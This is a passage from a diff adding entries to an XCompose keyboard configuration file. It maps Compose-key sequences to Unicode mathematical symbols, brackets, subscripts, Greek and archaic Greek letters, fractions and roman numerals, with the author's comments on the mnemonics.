+    # ALGOL “and” to be “/\” and the “or” to be “\/”.)” --- Bob Bemer,
+    # http://home.ccil.org/~remlaps/www.bobbemer.com/BRACES.HTM, quoting
+    # himself in “A view of the history of the ISO character code”, 1972
+<Multi_key> <slash> <backslash>         : "∧"  U2227           # LOGICAL AND
+<Multi_key> <backslash> <slash>         : "∨"  U2228           # LOGICAL OR
+<Multi_key> <backslash> <underscore> <slash>    : "⊻" U22BB     # XOR
+<Multi_key> <minus> <comma>	     :	"¬"	U00AC 		# NOT SIGN
+<Multi_key> <Multi_key> <asterisk> <o>              : "∘"   U2218           # RING OPERATOR (function composition)
+<Multi_key> <Multi_key> <asterisk> <x>             : "⨯"   U2A2F           # CROSS PRODUCT
+<Multi_key> <Multi_key> <asterisk>  <period>        : "⋅"   U22C5           # DOT OPERATOR (dot product)
+<Multi_key> <0> <slash>                 : "∅"   U2205           # EMPTY SET (thanks jsled!)
+<Multi_key> <slash> <0>                 : "∅"   U2205           # EMPTY SET
+# I'm hoping { can work as a set mnemonic
+<Multi_key> <braceleft> <U>		: "∪"	U222A		# UNION
+<Multi_key> <braceleft> <asciicircum>	: "∩"	U2229		# INTERSECTION
+<Multi_key> <braceleft> <parenleft>	: "⊂"	U2282		# SUBSET OF
+<Multi_key> <braceleft> <equal> <parenleft> : "⊆" U2286		# SUBSET OF OR EQUAL TO
+<Multi_key> <exclam> <braceleft> <parenleft> : "⊄" U2284        # NOT A SUBSET OF
+<Multi_key> <slash> <braceleft> <parenleft>  : "⊄" U2284        # NOT A SUBSET OF
+<Multi_key> <braceleft>	<parenright>	: "⊃"	U2283		# SUPERSET OF
+<Multi_key> <braceleft> <equal> <parenright> : "⊇" U2287	# SUPERSET OF OR EQUAL TO
+<Multi_key> <E> <E>                     : "∃"  U2203           # THERE EXISTS
+# We can't use ! E E, because ! E maps to E-WITH-UNDERDOT.
+<Multi_key> <slash> <E> <E>             : "∄"   U2204           # THERE DOES NOT EXIST
+<Multi_key> <A> <A>                     : "∀"  U2200           # FOR ALL
+<Multi_key> <Multi_key> <Q> <E> <D>     : "∎"   U220E           # END OF PROOF
+<Multi_key> <8> <8>                     : "∞"  U221E           # INFINITY
+<Multi_key> <Multi_key> <a> <l> <e> <p> <h> : "ℵ" U2135	       # ALEF SYMBOL
+<Multi_key> <Multi_key> <a> <l> <e> <p> <0> : "ℵ₀"        # ALEF Null
+<Multi_key> <Multi_key> <a> <l> <e> <p> <1> : "ℵ₁"        # ALEF One
+<Multi_key> <Multi_key> <a> <l> <e> <f> : "ℵ" U2135	       # ALEF SYMBOL
+<Multi_key> <KP_Multiply> <KP_Multiply>    : "∗"   U2217 # ASTERISK OPERATOR
+<Multi_key> <parenleft> <plus> <parenright>     : "⊕"  U2295    # CIRCLED PLUS
+<Multi_key> <parenleft> <minus> <parenright>    : "⊖"  U2296    # CIRCLED MINUS
+<Multi_key> <parenleft> <x> <x> <parenright>    : "⊗"  U2297    # CIRCLED TIMES
+<Multi_key> <parenleft> <slash> <parenright>    : "⊘"  U2298    # CIRCLED DIVISION SLASH
+<Multi_key> <parenleft> <asterisk> <parenright> : "⊛"  U229B    # CIRCLED ASTERISK OPERATOR
+# )- conflicts with system for }.
+<Multi_key> <parenright> <underscore>    : "⟌"   	U27CC		# LONG DIVISION
+<Multi_key> <period> <quotedbl>	   	: "∴"	U2234  		# THEREFORE
+<Multi_key> <quotedbl> <period>	   	: "∵"	U2235  		# BECAUSE
+<Multi_key> <Multi_key> <b> <e> <c> <a> <u> <s> <e>	   	: "∵"	U2235  		# BECAUSE
+<Multi_key> <percent> <percent>		: "‱"	U2031	# PER TEN THOUSAND (basis points)
+<Multi_key> <slash> <u>                : "µ"   U00B5      # MICRO SIGN
+# Ordinal indicators, for femenine and masculine, used in Romance languages
+<Multi_key> <minus> <a>	      	  	: "ª"   U00AA		# FEMININE ORDINAL INDICATOR
+<Multi_key> <minus> <o>			: "º"	U00BA		# MASCULINE ORDINAL INDICATOR
+
+# See also U03A3 (Greek capital sigma)
+<Multi_key> <Multi_key> <s> <u> <m>	: "∑"	U2211		# N-ARY SUMMATION
+# OK, absolutely cannot believe we made it this long without NABLA or INTEGRAL
+# or PARTIAL DIFFERENTIAL
+<Multi_key> <Multi_key> <i> <n> <t>	: "∫"	U222B		# INTEGRAL
+<Multi_key> <Multi_key> <u> <i> <n> <t>	: "⨛"	U2A1B		# UPPER INTEGRAL
+<Multi_key> <Multi_key> <l> <i> <n> <t>	: "⨜"	U2A1C		# LOWER INTEGRAL
+<Multi_key> <Multi_key> <i> <i> <n> <t>	: "∬"	U222C		# DOUBLE INTEGRAL
+<Multi_key> <Multi_key> <i> <i> <i> <n> <t>	: "∭"	U222D		# TRIPLE INTEGRAL
+<Multi_key> <Multi_key> <i> <i> <i> <i> <n> <t>	: "⨌"	U2A0C		# QUADRUPLE INTEGRAL
+<Multi_key> <Multi_key> <o> <i> <n> <t>	: "∮"	U222E		# CONTOUR INTEGRAL
+<Multi_key> <Multi_key> <p> <i> <n> <t>	: "⨕"	U2A15		# SEMICIRCULAR POLE INTEGRAL
+<Multi_key> <Multi_key> <c> <P> <i> <n> <t>	: "⨓"	U2A13		# INTEGRAL AROUND POINT
+<Multi_key> <Multi_key> <o> <i> <i> <n> <t>	: "∯"	U222F		# SURFACE INTEGRAL
+<Multi_key> <Multi_key> <o> <i> <i> <i> <n> <t>	: "∰"	U2230		# VOLUME INTEGRAL
+<Multi_key> <Multi_key> <g> <i> <n> <t>	: "⨘"	U2A18		# GEOMETRIC INTEGRAL
+<Multi_key> <Multi_key> <s> <i> <n> <t>	: "⨋"	U2A0B		# SUM/INTEGRAL
+#Now for some WTF integrals: ⨙ ⨚ 	
+<Multi_key> <Multi_key> <d> <e> <l>	: "∇"	U2207	        # NABLA
+<Multi_key> <Multi_key> <p> <a> <r> <t>   : "∂" U2202		# PARTIAL DIFFERENTIAL
+<Multi_key> <asterisk> <period> <period> <d>   : "∂" U2202	# PARTIAL DIFFERENTIAL
+<Multi_key> <R> <e>    		: "ℜ"	 U211C 	     	# BLACK-LETTER CAPITAL R (Real Part)
+<Multi_key> <I> <m>		: "ℑ"	 U2111		# BLACK-LETTER CAPTIAL I (Imaginary Part)
+<Multi_key> <Multi_key> <h> <b> <a> <r>	:   "ℏ"	U210F	# PLANCK CONSTANT OVER TWO PI
+<Multi_key> <h> <minus>			:   "ℏ"	U210F	# PLANCK CONSTANT OVER TWO PI
+<Multi_key> <h> <p>	    :	"ℎ"	    U210E   # PLANCK CONSTANT
+<Multi_key> <Multi_key> <e> <x> <p> :   "ℯ"	U212F   # SCRIPT SMALL E
+<Multi_key> <e> <1> <0> :	"⏨" 	U23E8   # DECIMAL EXPONENT SYMBOL
+<Multi_key> <w> <p> 	:	"℘"	U2118	# SCRIPT CAPITAL P
+# Would we prefer 20D1 COMBINING RIGHT HARPOON ABOVE?
+<Multi_key> <asciicircum> <greater>     : "⃗"   U20D7           # COMBINING RIGHT ARROW ABOVE (vector)
+# There's a whole passel of these guys starting at U+1D538 but I have no fonts for those.
+<Multi_key> <bar> <C>                   : "ℂ"   U2102           # DOUBLE-STRUCK CAPITAL C (set of complex numbers)
+<Multi_key> <bar> <N>                   : "ℕ"   U2115           # DOUBLE-STRUCK CAPITAL N (natural number)
+<Multi_key> <bar> <P>                   : "ℙ"   U2119           # DOUBLE-STRUCK CAPITAL P 
+<Multi_key> <bar> <Q>                   : "ℚ"   U211A           # DOUBLE-STRUCK CAPITAL Q (set of rational numbers)
+<Multi_key> <bar> <R>                   : "ℝ"   U211D           # DOUBLE-STRUCK CAPITAL R (set of real numbers)
+<Multi_key> <bar> <Z>                   : "ℤ"   U2124           # DOUBLE-STRUCK CAPITAL Z (set of integers)
+<Multi_key> <bar> <H>		: "ℍ" U210d	# DOUBLE-STRUCK CAPITAL H
+<Multi_key> <bar> <e>		: "ⅇ" U2147	# DOUBLE-STRUCK ITALIC SMALL E
+<Multi_key> <bar> <i>		: "ⅈ" U2148	# DOUBLE-STRUCK ITALIC SMALL I
+<Multi_key> <bar> <j>		: "ⅉ" U2149	# DOUBLE-STRUCK ITALIC SMALL J
+<Multi_key> <bar> <asterisk> <p> : "ℼ" U213C	# DOUBLE-STRUCK SMALL PI
+<Multi_key> <bar> <Greek_pi> 	 : "ℼ" U213C	# DOUBLE-STRUCK SMALL PI
+<Multi_key> <bar> <asterisk> <P> : "ℿ" U213F	# DOUBLE-STRUCK CAPITAL PI
+<Multi_key> <bar> <Greek_PI> 	 : "ℿ" U213F	# DOUBLE-STRUCK CAPITAL PI
+<Multi_key> <bar> <asterisk> <S> : "⅀" U2140	# DOUBLE-STRUCK N-ARY SUMMATION
+<Multi_key> <bar> <Greek_SIGMA>  : "⅀" U2140	# DOUBLE-STRUCK N-ARY SUMMATION
+<Multi_key> <bar> <colon>   :	"⦂" U2982	# Z NOTATION TYPE COLON
+# Apparently it is only for historical reasons that this is not unified with
+# ⨟ U+2A1F Z NOTATION SCHEMA COMPOSITION
+<Multi_key> <bar> <semicolon>	:   "⨾"	U2A3E	# Z NOTATION RELATIONAL COMPOSITION
+# The *look* double-struck.
+<Multi_key> <bar> <braceleft>	 : "⦃" U2983	# LEFT WHITE CURLY BRACKET
+<Multi_key> <bar> <braceright>	 : "⦄" U2984	# RIGHT WHITE CURLY BRACKET 
+# ⦅⦆⦇⦈⦉⦊ too?
+# The rest of that block?  Some there may be worth it.
+# Ooh.  There are lots of nice brackets to consider: 
+# ⟅⟆⟨⟩⟪⟫⟬⟭⟮⟯⦑⦒⦓⦔⦕⦖⦗⦘⧼⧽⧘⧙⧚⧛⸢⸣⸤⸥⸨⸩「」『』
+# Others too, of course, but these to start with.  Some are likely worthy.
+<Multi_key> <S> <parenleft>  	: "⟅" U27C5 	# LEFT S-SHAPED BAG DELIMITER
+<Multi_key> <S> <parenright>	: "⟆" U27C6 	# RIGHT S-SHAPED BAG DELIMITER
+# There are a lot of angle brackets (3008/9, 27E8/9, 2329/A).  I'm deciding
+# to go with the mathematical brackets from now on, since they seem to be
+# better supported.
+<Multi_key> <less> <parenleft>	: "⟨" U27E8	# MATHEMATICAL LEFT ANGLE BRACKET
+<Multi_key> <greater> <parenright>: "⟩" U27E9	# MATHEMATICAL RIGHT ANGLE BRACKET
+<Multi_key> <bar> <bracketleft>	:   "⟦"	U27E6	# MATHEMATICAL LEFT WHITE SQUARE BRACKET
+<Multi_key> <bar> <bracketright>:   "⟧"	U27E7	# MATHEMATICAL RIGHT WHITE SQUARE BRACKET
+<Multi_key> <percent> <parenleft>:  "⧘"	U29D8	# LEFT WIGGLY FENCE
+<Multi_key> <percent> <parenright>: "⧙"	U29D9	# RIGHT WIGGLY FENCE
+<Multi_key> <2> <percent> <parenleft>:	"⧚" U29DA   # LEFT DOUBLE WIGGLY FENCE
+<Multi_key> <2> <percent> <parenright>:	"⧛" U29DB   # RIGHT DOUBLE WIGGLY FENCE
+<Multi_key> <parenleft> <ampersand> <parenleft>:  "⸨"  U2E28 # LEFT DOUBLE PARENTHESIS
+<Multi_key> <parenright> <ampersand> <parenright>:  "⸩"  U2E29 # RIGHT DOUBLE PARENTHESIS
+<Multi_key> <2> <parenleft>:  "⸨"  U2E28 # LEFT DOUBLE PARENTHESIS
+<Multi_key> <2> <parenright>:  "⸩"  U2E29 # RIGHT DOUBLE PARENTHESIS
+<Multi_key> <Z> <parenleft>	    : "༼"     U0F3C   # TIBETAN MARK ANG KHANG GYON
+<Multi_key> <Z> <parenright>	    : "༽"     U0F3D   # TIBETAN MARK ANG KHANG GYAS
+# I'm thinking shape-mnemonics for these, somehow:
+<Multi_key> <L> <bracketleft>       : "⌊"     U230A   # LEFT FLOOR
+<Multi_key> <L> <bracketright>	    : "⌋"     U230B   # RIGHT FLOOR
+<Multi_key> <7> <bracketleft>	    : "⌈"     U2308   # LEFT CEILING
+<Multi_key> <7> <bracketright>	    : "⌉"     U2309   # RIGHT CEILING
+# These are actually quotes, hence the mnemonic.
+<Multi_key> <7> <apostrophe>	    : "｢"     UFF62   # HALFWIDTH LEFT CORNER BRACKET
+<Multi_key> <L> <apostrophe>	    : "｣"     UFF63   # HALFWIDTH RIGHT CORNER BRACKET
+<Multi_key> <7> <quotedbl>	    : "『"    U300E   # LEFT WHITE CORNER BRACKET
+<Multi_key> <L> <quotedbl>	    : "』"    U300F   # RIGHT WHITE CORNER BRACKET
+<Multi_key> <parenleft> <ampersand> <parenright> :  "≬"	U226C	# BETWEEN
+<Multi_key> <l> <l>		: "ℓ" U2113	# SCRIPT SMALL L
+<Multi_key> <bracketleft> <bracketleft> : "⊏"   U228F           # SQUARE IMAGE OF
+<Multi_key> <bracketleft> <equal>       : "⊑"   U2291           # SQUARE IMAGE OF OR EQUAL TO
+<Multi_key> <bracketleft> <underscore>  : "⊑"   U2291           # SQUARE IMAGE OF OR EQUAL TO
+<Multi_key> <bracketright> <bracketright>: "⊐"  U2290           # SQUARE ORIGINAL OF
+<Multi_key> <bracketright> <equal>      : "⊒"   U2292           # SQUARE ORIGINAL OF OR EQUAL TO
+<Multi_key> <bracketright> <underscore> : "⊒"   U2292           # SQUARE ORIGINAL OF OR EQUAL TO
+# If I did more Haskell, I'd want this more:
+<Multi_key> <underscore> <bar> <underscore>:	"⊥"	 U22A5	# UP TACK (bottom) or should we use U27C2 PERPENDICULAR?
+<Multi_key> <underscore> <exclam> <underscore>:	"⊤"	 U22A4	# DOWN TACK (opposite of False)
+<Multi_key> <underscore> <greater> <underscore>:	"⊢"	 U22A2	# RIGHT TACK
+<Multi_key> <underscore> <less> <underscore>:	"⊣"	 U22A2	# LEFT TACK
+# Handy for UNIX filenames... but XXX conflicts with standard <Multi_key> <slash> <slash> → "\"
+<Multi_key> <slash> <slash>		: "⁄"	U2044	# FRACTION SLASH
+
+# The system file gives us subscript numbers, plus/minus, and parens.  But
+# there are letters missing.  It would be nice to have at least a few of them.
+
+# block U+208x
+<Multi_key> <underscore> <0>  	       : "₀"  U2080   	  # SUBSCRIPT ZERO
+<Multi_key> <underscore> <1>  	       : "₁"  U2081   	  # SUBSCRIPT ONE
+<Multi_key> <underscore> <2>  	       : "₂"  U2082   	  # SUBSCRIPT TWO
+<Multi_key> <underscore> <3>  	       : "₃"  U2083   	  # SUBSCRIPT THREE
+<Multi_key> <underscore> <4>  	       : "₄"  U2084   	  # SUBSCRIPT FOUR
+<Multi_key> <underscore> <5>  	       : "₅"  U2085   	  # SUBSCRIPT FIVE
+<Multi_key> <underscore> <6>  	       : "₆"  U2086   	  # SUBSCRIPT SIX
+<Multi_key> <underscore> <7>  	       : "₇"  U2087   	  # SUBSCRIPT SEVEN
+<Multi_key> <underscore> <8>  	       : "₈"  U2088   	  # SUBSCRIPT EIGHT
+<Multi_key> <underscore> <9>  	       : "₉"  U2089   	  # SUBSCRIPT NONE
+<Multi_key> <underscore> <plus>	       : "₊"  U208A	  # SUBSCRIPT PLUS
+<Multi_key> <underscore> <minus>       : "₋"  U208B	  # SUBSCRIPT MINUS
+<Multi_key> <underscore> <equal>           : "₌"  U208C	  # SUBSCRIPT EQUALS SIGN
+<Multi_key> <underscore> <parenleft>           : "₍"  U208D	  # SUBSCRIPT LEFT PARENTHESIS
+<Multi_key> <underscore> <parenright>           : "₎"  U208E	  # SUBSCRIPT RIGHT PARENTHESIS
+
+# block U+209x
+<Multi_key> <underscore> <a>	       : "ₐ"  U2090	  # LATIN SUBSCRIPT SMALL LETTER A
+<Multi_key> <underscore> <e>	       : "ₑ"  U2091	  # LATIN SUBSCRIPT SMALL LETTER E
+<Multi_key> <underscore> <o>	       : "ₒ"  U2092	  # LATIN SUBSCRIPT SMALL LETTER O
+<Multi_key> <underscore> <x>	       : "ₓ"  U2093	  # LATIN SUBSCRIPT SMALL LETTER X
+<Multi_key> <underscore> <h>	       : "ₕ"  U2095	  # LATIN SUBSCRIPT SMALL LETTER H
+<Multi_key> <underscore> <k>           : "ₖ"  U2096	  # LATIN SUBSCRIPT SMALL LETTER K
+<Multi_key> <underscore> <l>           : "ₗ"  U2097	  # LATIN SUBSCRIPT SMALL LETTER L
+<Multi_key> <underscore> <m>	       : "ₘ"  U2098	  # LATIN SUBSCRIPT SMALL LETTER M
+<Multi_key> <underscore> <n>	       : "ₙ"  U2099	  # LATIN SUBSCRIPT SMALL LETTER N
+<Multi_key> <underscore> <p>	       : "ₚ"  U209A	  # LATIN SUBSCRIPT SMALL LETTER P
+<Multi_key> <underscore> <s>	       : "ₛ"  U209B	  # LATIN SUBSCRIPT SMALL LETTER S
+<Multi_key> <underscore> <t>	       : "ₜ"  U209C	  # LATIN SUBSCRIPT SMALL LETTER T
+
+# subscripts in other blocks
+<Multi_key> <underscore> <i>  	       : "ᵢ"  U1D62   	  # LATIN SUBSCRIPT SMALL LETTER I
+<Multi_key> <underscore> <j>           : "ⱼ"  U2C7C	  # LATIN SUBSCRIPT SMALL LETTER J
+<Multi_key> <underscore> <r>           : "ᵣ"  U1D63       # LATIN SUBSCRIPT SMALL LETTER R
+<Multi_key> <underscore> <u>           : "ᵤ"  U1D64       # LATIN SUBSCRIPT SMALL LETTER U
+<Multi_key> <underscore> <v>           : "ᵥ"  U1D65       # LATIN SUBSCRIPT SMALL LETTER V
+<Multi_key> <underscore> <asterisk> <b> : "ᵦ"  U1D66     # GREEK SUBSCRIPT SMALL LETTER BETA
+<Multi_key> <underscore> <asterisk> <g> : "ᵧ"  U1D67     # GREEK SUBSCRIPT SMALL LETTER GAMMA
+<Multi_key> <underscore> <asterisk> <r> : "ᵨ"  U1D68     # GREEK SUBSCRIPT SMALL LETTER RHO
+<Multi_key> <underscore> <asterisk> <f> : "ᵩ"  U1D69     # GREEK SUBSCRIPT SMALL LETTER PHI
+<Multi_key> <underscore> <asterisk> <x> : "ᵪ"  U1D6A     # GREEK SUBSCRIPT SMALL LETTER CHI
+
+# Custom additions: Greek letters.  Mapping corresponds to Emacs Greek
+# input method.  Aristotle Pagaltzis informs me that this is the
+# standard Greek keyboard layout, which is good.
+<Multi_key> <asterisk> <a>		: "α"	U03B1		# GREEK SMALL LETTER ALPHA
+<Multi_key> <asterisk> <b>		: "β"	U03B2		# GREEK SMALL LETTER BETA
+<Multi_key> <asterisk> <c>		: "ψ"	U03C8		# GREEK SMALL LETTER PSI
+<Multi_key> <asterisk> <d>		: "δ"	U03B4		# GREEK SMALL LETTER DELTA
+<Multi_key> <asterisk> <e>		: "ε"	U03B5		# GREEK SMALL LETTER EPSILON
+<Multi_key> <asterisk> <f>		: "φ"	U03C6		# GREEK SMALL LETTER PHI
+<Multi_key> <asterisk> <g>		: "γ"	U03B3		# GREEK SMALL LETTER GAMMA
+<Multi_key> <asterisk> <h>		: "η"	U03B7		# GREEK SMALL LETTER ΕΤΑ
+<Multi_key> <asterisk> <i>		: "ι"	U03B9		# GREEK SMALL LETTER ΙΟΤΑ
+<Multi_key> <asterisk> <j>		: "ξ"	U03BE		# GREEK SMALL LETTER XI
+<Multi_key> <asterisk> <k>		: "κ"	U03BA		# GREEK SMALL LETTER KAPPA
+<Multi_key> <asterisk> <l>		: "λ"	U03BB		# GREEK SMALL LETTER LAMBDA
+<Multi_key> <asterisk> <m>		: "μ"	U03BC		# GREEK SMALL LETTER MU
+<Multi_key> <asterisk> <n>		: "ν"	U03BD		# GREEK SMALL LETTER NU
+<Multi_key> <asterisk> <o>		: "ο"	U03BF		# GREEK SMALL LETTER OMICRON
+<Multi_key> <asterisk> <p>		: "π"	U03C0		# GREEK SMALL LETTER PI
+# no mapping for q; in Emacs that's ";"
+# U037E GREEK QUESTION MARK is canonically equivalent to U003B SEMICOLON.
+<Multi_key> <asterisk> <r>		: "ρ"	U03C1		# GREEK SMALL LETTER RHO
+<Multi_key> <asterisk> <s>		: "σ"	U03C3		# GREEK SMALL LETTER SIGMA
+<Multi_key> <asterisk> <t>		: "τ"	U03C4		# GREEK SMALL LETTER TAU
+<Multi_key> <asterisk> <u>		: "θ"	U03B8		# GREEK SMALL LETTER THETA
+<Multi_key> <asterisk> <v>		: "ω"	U03C9		# GREEK SMALL LETTER OMEGA
+<Multi_key> <asterisk> <w>		: "ς"	U03C2		# GREEK SMALL LETTER FINAL SIGMA
+<Multi_key> <asterisk> <x>		: "χ"	U03C7		# GREEK SMALL LETTER CHI
+<Multi_key> <asterisk> <y>		: "υ"	U03C5		# GREEK SMALL LETTER UPSILON
+<Multi_key> <asterisk> <z>		: "ζ"	U03B6		# GREEK SMALL LETTER ZETA
+
+# Capital greek letters.
+<Multi_key> <asterisk> <A>		: "Α"	U0391		# GREEK CAPITAL LETTER ALPHA
+<Multi_key> <asterisk> <B>		: "Β"	U0392		# GREEK CAPITAL LETTER BETA
+<Multi_key> <asterisk> <C>		: "Ψ"	U03A8		# GREEK CAPITAL LETTER PSI
+<Multi_key> <asterisk> <D>		: "Δ"	U0394		# GREEK CAPITAL LETTER DELTA
+<Multi_key> <asterisk> <E>		: "Ε"	U0395		# GREEK CAPITAL LETTER EPSILON
+<Multi_key> <asterisk> <F>		: "Φ"	U03A6		# GREEK CAPITAL LETTER PHI
+<Multi_key> <asterisk> <G>		: "Γ"	U0393		# GREEK CAPITAL LETTER GAMMA
+<Multi_key> <asterisk> <H>		: "Η"	U0397		# GREEK CAPITAL LETTER ΕΤΑ
+<Multi_key> <asterisk> <I>		: "Ι"	U0399		# GREEK CAPITAL LETTER ΙΟΤΑ
+<Multi_key> <asterisk> <J>		: "Ξ"	U039E		# GREEK CAPITAL LETTER XI
+<Multi_key> <asterisk> <K>		: "Κ"	U039A		# GREEK CAPITAL LETTER KAPPA
+<Multi_key> <asterisk> <L>		: "Λ"	U039B		# GREEK CAPITAL LETTER LAMBDA
+<Multi_key> <asterisk> <M>		: "Μ"	U039C		# GREEK CAPITAL LETTER MU
+<Multi_key> <asterisk> <N>		: "Ν"	U039D		# GREEK CAPITAL LETTER NU
+<Multi_key> <asterisk> <O>		: "Ο"	U039F		# GREEK CAPITAL LETTER OMICRON
+<Multi_key> <asterisk> <P>		: "Π"	U03A0		# GREEK CAPITAL LETTER PI
+# see below for Q qoppa; in Emacs Q is “:”
+<Multi_key> <asterisk> <R>		: "Ρ"	U03A1		# GREEK CAPITAL LETTER RHO
+<Multi_key> <asterisk> <S>		: "Σ"	U03A3		# GREEK CAPITAL LETTER SIGMA
+<Multi_key> <asterisk> <T>		: "Τ"	U03A4		# GREEK CAPITAL LETTER TAU
+<Multi_key> <asterisk> <U>		: "Θ"	U0398		# GREEK CAPITAL LETTER THETA
+<Multi_key> <asterisk> <V>		: "Ω"	U03A9		# GREEK CAPITAL LETTER OMEGA
+# Emacs maps W to "Σ", but I think that’s stupid
+# I think that's from the Greek keyboard.
+<Multi_key> <asterisk> <X>		: "Χ"	U03A7		# GREEK CAPITAL LETTER CHI
+<Multi_key> <asterisk> <Y>		: "Υ"	U03A5		# GREEK CAPITAL LETTER UPSILON
+<Multi_key> <asterisk> <Z>		: "Ζ"	U0396		# GREEK CAPITAL LETTER ZETA
+
+# Some archaic Greek.  If we only wanted *normal* characters we wouldn't be
+# doing this at all!
+# "period" will indicate a sort of variant of some kind; asterisk is still the "greek" marker
+<Multi_key> <asterisk> <period> <p>	: "ϖ"	U03D6		# GREEK PI SYMBOL
+# Reserving .f in case we want PHI SYMBOL.  Digamma was "w" sound anyway.
+<Multi_key> <asterisk> <period> <w>	: "ϝ"	U03DD		# GREEK SMALL LETTER DIGAMMA
+<Multi_key> <asterisk> <period> <W>	: "Ϝ"	U03DC		# GREEK CAPITAL LETTER DIGAMMA
+<Multi_key> <asterisk> <Q>	: "Ϟ"	U03DE	# GREEK LETTER QOPPA
+<Multi_key> <asterisk> <q>	: "ϟ"	U03DF	# GREEK SMALL LETTER QOPPA
+<Multi_key> <asterisk> <period> <Q>	: "Ϙ"	U03D8	# GREEK LETTER ARCHAIC QOPPA
+<Multi_key> <asterisk> <period> <q>	: "ϙ"	U03D9	# GREEK SMALL LETTER ARCHAIC QOPPA
+<Multi_key> <asterisk> <ampersand>	: "ϗ"	U03D7	# GREEK KAI SYMBOL
+<Multi_key> <asterisk> <period> <Z>	: "Ϡ"	U03E0	# GREEK LETTER SAMPI
+<Multi_key> <asterisk> <period> <z>	: "ϡ"	U03E1	# GREEK SMALL LETTER SAMPI
+<Multi_key> <asterisk> <period> <period> <Z> : "Ͳ"  U0372  # GREEK CAPITAL LETTER ARCHAIC SAMPI
+<Multi_key> <asterisk> <period> <period> <z> : "ͳ"  U0373  # GREEK SMALL LETTER ARCHAIC SAMPI
+# Sorry, couldn't think of better ones for these.  Might want .s for SAN.
+<Multi_key> <asterisk> <question>      : "Ϛ"	U03DA	# GREEK LETTER STIGMA
+<Multi_key> <asterisk> <slash>	       : "ϛ"	U03DB	# GREEK SMALL LETTER STIGMA
+<Multi_key> <asterisk> <apostrophe>    : "ʹ"	U02B9	# MODIFIER LETTER PRIME, canonically equivalent to U0374 GREEK NUMERAL SIGN
+# While we're at it...
+<Multi_key> <asterisk> <period> <apostrophe>	: "′"	U2032	# PRIME
+<Multi_key> <asterisk> <period> <quotedbl>      : "″"	U2033	# DOUBLE PRIME
+<Multi_key> <asterisk> <comma>	       : "͵"	U0375	# GREEK LOWER NUMERAL SIGN (for thousands)
+# Do we want BETA SYMBOL, RHO SYMBOL, KAPPA SYMBOL, PHI SYMBOL, THETA SYMBOL?
+# The format makes them obvious enough I guess.  PI SYMBOL is different enough
+# that there's no question, and it is separate from these.
+<Multi_key> <asterisk> <period> <b>    : "ϐ"	U03D0	# GREEK BETA SYMBOL
+<Multi_key> <asterisk> <period> <u>    : "ϑ"	U03D1	# GREEK THETA SYMBOL
+<Multi_key> <asterisk> <period> <Y>    : "ϒ"	U03D2	# GREEK UPSILON WITH HOOK SYMBOL
+<Multi_key> <asterisk> <period> <f>    : "ϕ"	U03D5	# GREEK PHI SYMBOL
+<Multi_key> <asterisk> <period> <k>    : "ϰ"	U03F0	# GREEK KAPPA SYMBOL
+<Multi_key> <asterisk> <period> <r>    : "ϱ"	U03F1	# GREEK RHO SYMBOL
+<Multi_key> <asterisk> <period> <U>    : "ϴ"	U03F4	# GREEK CAPITAL THETA SYMBOL
+<Multi_key> <asterisk> <period> <e>    : "ϵ"	U03F5	# GREEK LUNATE EPSILON SYMBOL
+# Not doing the lunate sigmas and dotted versions thereof...  What about SAN, which is at least a letter?
+<Multi_key> <asterisk> <period> <s>	 : "ϻ"	  U03FB	      # GREEK SMALL LETTER SAN
+<Multi_key> <asterisk> <period> <S>	 : "Ϻ"	  U03FA	      # GREEK CAPITAL LETTER SAN
+
+# If you wanted to actually type in Greek, you would also need άίέ
+# etc.  But you would probably just switch to a Greek keyboard layout.
+
+# Custom additions: fractions
+<Multi_key> <1> <3>                     : "⅓"  U2153           # VULGAR FRACTION ONE THIRD
+<Multi_key> <2> <3>                     : "⅔"  U2154           # VULGAR FRACTION TWO THIRDS
+# more extensive fractions from jsled
+<Multi_key> <1> <5>                     : "⅕"  U2155           # VULGAR FRACTION ONE FIFTH
+<Multi_key> <2> <5>                     : "⅖" U2156            # VULGAR FRACTION TWO FIFTHS
+<Multi_key> <3> <5>                     : "⅗" U2157            # VULGAR FRACTION THREE FIFTHS
+<Multi_key> <4> <5>                     : "⅘" U2158            # VULGAR FRACTION FOUR FIFTHS
+<Multi_key> <1> <6>                     : "⅙" U2159            # VULGAR FRACTION ONE SIXTH
+<Multi_key> <5> <6>                     : "⅚" U215A            # VULGAR FRACTION FIVE SIXTHS
+<Multi_key> <1> <8>                     : "⅛" U215B           # VULGAR FRACTION ONE EIGHTH
+<Multi_key> <3> <8>                     : "⅜" U215C           # VULGAR FRACTION THREE EIGHTHS
+<Multi_key> <5> <8>                     : "⅝" U215D           # VULGAR FRACTION FIVE EIGHTHS
+<Multi_key> <7> <8>                     : "⅞" U215E           # VULGAR FRACTION SEVEN EIGHTHS
+<Multi_key> <1> <7>			: "⅐" U2150	      # VULGAR FRACTION ONE SEVENTH
+<Multi_key> <1> <9>			: "⅑" U2151	      # VULGAR FRACTION ONE NINTH
+<Multi_key> <1> <x>			: "⅒" U2152	      # VULGAR FRACTION ONE TENTH
+<Multi_key> <0> <3>			: "↉" U2189	      # VULGAR FRACTION ZERO THIRDS
+<Multi_key> <1> <slash>			: "⅟" U215F	      # FRACTION NUMERATOR ONE
+
+# How about roman numerals?  Percent for numerical mnemonic?
+# Does this go against the spirit of this file?  These symbols are accessible 
+# as regular letters and would look okay.  Maybe only for I-X?
+<Multi_key> <percent> <1>		: "ⅰ"	U2170		# SMALL ROMAN NUMERAL ONE
+<Multi_key> <percent> <2>		: "ⅱ"	U2171		# SMALL ROMAN NUMERAL TWO
+<Multi_key> <percent> <3>		: "ⅲ"	U2172		# SMALL ROMAN NUMERAL THREE
+<Multi_key> <percent> <4>		: "ⅳ"	U2173		# SMALL ROMAN NUMERAL FOUR
+<Multi_key> <percent> <5>		: "ⅴ"	U2174		# SMALL ROMAN NUMERAL FIVE
+<Multi_key> <percent> <6>		: "ⅵ"	U2175		# SMALL ROMAN NUMERAL SIX
+<Multi_key> <percent> <7>		: "ⅶ"	U2176		# SMALL ROMAN NUMERAL SEVEN
+<Multi_key> <percent> <8>		: "ⅷ"	U2177		# SMALL ROMAN NUMERAL EIGHT
+<Multi_key> <percent> <9>		: "ⅸ"	U2178		# SMALL ROMAN NUMERAL NINE
+<Multi_key> <percent> <x>		: "ⅹ"	U2179		# SMALL ROMAN NUMERAL TEN
+# How do we handle eleven and twelve?
+<Multi_key> <percent> <underscore> <1>	: "ⅺ"	U217A		# SMALL ROMAN NUMERAL ELEVEN
+<Multi_key> <percent> <underscore> <2>	: "ⅻ"	U217B		# SMALL ROMAN NUMERAL TWELVE
+# That okay?
